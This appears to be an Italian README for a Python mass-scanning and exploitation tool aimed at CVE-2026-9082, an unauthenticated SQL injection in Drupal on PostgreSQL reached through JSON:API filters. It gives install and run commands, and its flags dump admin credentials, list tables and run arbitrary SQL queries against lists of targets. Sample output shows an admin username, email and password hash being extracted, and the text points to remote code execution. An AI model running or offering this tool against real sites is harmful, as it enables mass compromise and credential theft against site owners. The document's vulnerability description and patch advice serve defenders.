Scanner: CVE-2026-9082 SQLi PostgreSQL in Drupal tramite JSON:API — scanner Python per SQLi non autenticata che porta a RCE (CISA KEV)
Iniezione SQL non autenticata nel Drupal Core (PostgreSQL)
Iniezione di chiavi di array nei filtri JSON:API tramite abuso dei nomi dei placeholder PDO
CVE-2026-9082 è una vulnerabilità di iniezione SQL altamente critica nel Drupal Core che colpisce tutti i siti basati su PostgreSQL che eseguono Drupal dalla 8.0 alla 11.3.9. Aggiunta al catalogo CISA Known Exploited Vulnerabilities (KEV) il 2026-05-22 — attivamente sfruttata in natura.
| Gravità | CVSS | Autenticazione richiesta | Vettore di attacco |
|---|---|---|---|
| Critica | 9.8+ | Nessuna | HTTP (JSON:API) |
pg_exec() o COPY ... PROGRAM| Stato | Versioni |
|---|---|
| ❌ Vulnerabile | Drupal 8.0.0 → 11.3.9 (backend PostgreSQL) |
| ✅ Corretta | 11.3.10, 11.2.12, 10.6.9, 10.5.10 |
La vulnerabilità risiede in core/modules/pgsql/src/EntityQuery/Condition.php. Il metodo translateCondition() utilizza chiavi di array controllate dall'utente provenienti dai parametri dei filtri JSON:API per costruire i nomi dei placeholder PDO. PDO riconosce come nomi di placeholder solo [a-zA-Z0-9_], quindi qualsiasi suffisso dopo ) diventa SQL letterale iniettato nella query.
JSON:API Filter → array key with SQL → PDO placeholder truncation → SQL injection
pg_sleep()pip (gestore dei pacchetti Python)# Clone the repo
git clone https://github.com/ridhinva/CVE-2026-9082.git
cd CVE-2026-9082
# Install requirements
pip install requests
Tutto qui! Una sola dipendenza — requests.
python3 cve_2026_9082_scanner.py -u https://target.com --check
python3 cve_2026_9082_scanner.py -f targets.txt
Formato di targets.txt:
https://target1.com
target2.com
192.168.1.100
python3 cve_2026_9082_scanner.py -u https://target.com --version
python3 cve_2026_9082_scanner.py -u https://target.com --dbinfo
python3 cve_2026_9082_scanner.py -u https://target.com --admin
python3 cve_2026_9082_scanner.py -u https://target.com --tables
python3 cve_2026_9082_scanner.py -u https://target.com --query "SELECT usename FROM pg_catalog.pg_user"
python3 cve_2026_9082_scanner.py -f targets.txt -o results.txt
python3 cve_2026_9082_scanner.py -u https://target.com --check --proxy http://127.0.0.1:8080
# Increase sleep time for time-based detection (default: 5s)
python3 cve_2026_9082_scanner.py -u https://target.com --check --delay 10
# Increase HTTP timeout for slow targets (default: 30s)
python3 cve_2026_9082_scanner.py -u https://target.com --check --timeout 60
| Flag | Descrizione |
|---|---|
-u, --url | URL del target singolo |
-f, --file | File contenente i target (uno per riga) |
-o, --output | Salva i risultati della scansione su file |
--check | Verifica se il target è vulnerabile |
--version | Estrae la versione di PostgreSQL |
--dbinfo | Estrae utente del DB e nome del database |
--admin | Estrae le credenziali admin di Drupal (uid=1) |
--tables | Elenca tutte le tabelle del database |
--query | Query SQL di estrazione personalizzata |
--threads | Thread per la scansione di massa (default: 20) |
--timeout | Timeout delle richieste HTTP (default: 30s) |
--delay | Ritardo di pg_sleep per il rilevamento (default: 5s) |
--no-ssl-verify | Salta la verifica del certificato TLS |
--proxy | Proxy HTTP (es., http://127.0.0.1:8080) |
╔══════════════════════════════════════════════════════════════╗
║ CVE-2026-9082 - Drupal PostgreSQL SQLi ║
║ Mass Scanner + Exploitation Tool v1.0.0 ║
╚══════════════════════════════════════════════════════════════╝
CISA KEV: Added 2026-05-22 | Advisory: SA-CORE-2026-004
[*] Checking: https://vulnerable-drupal-site.com
[!!] VULNERABLE - https://vulnerable-drupal-site.com
Method: time-based (+5.2s)
Resource: node/article
[+] username: admin
[+] email: [email protected]
[+] pass_hash: $S$E8gJ8yJ8...hashed_password...
| Sorgente | Link |
|---|---|
| Advisory Drupal | SA-CORE-2026-004 |
| Catalogo CISA KEV | CVE-2026-9082 |
| Commit della patch | ea9524d9 |
| Voce NVD | CVE-2026-9082 |
| Scopritore | Michael Maturi |
Questo strumento è destinato esclusivamente a test di sicurezza autorizzati, scopi educativi e ricerca etica.
L'accesso non autorizzato ai sistemi informatici è illegale. Gli autori declinano ogni responsabilità e non sono responsabili di qualsiasi uso improprio o danno causato da questo programma.
Ridhin V A (@ridhinva) — Bug bounty hunter e ricercatore di sicurezza
Realizzato perché la CISA KEV ha segnalato che la vulnerabilità è sfruttata in natura. Applicate la patch ai vostri siti Drupal.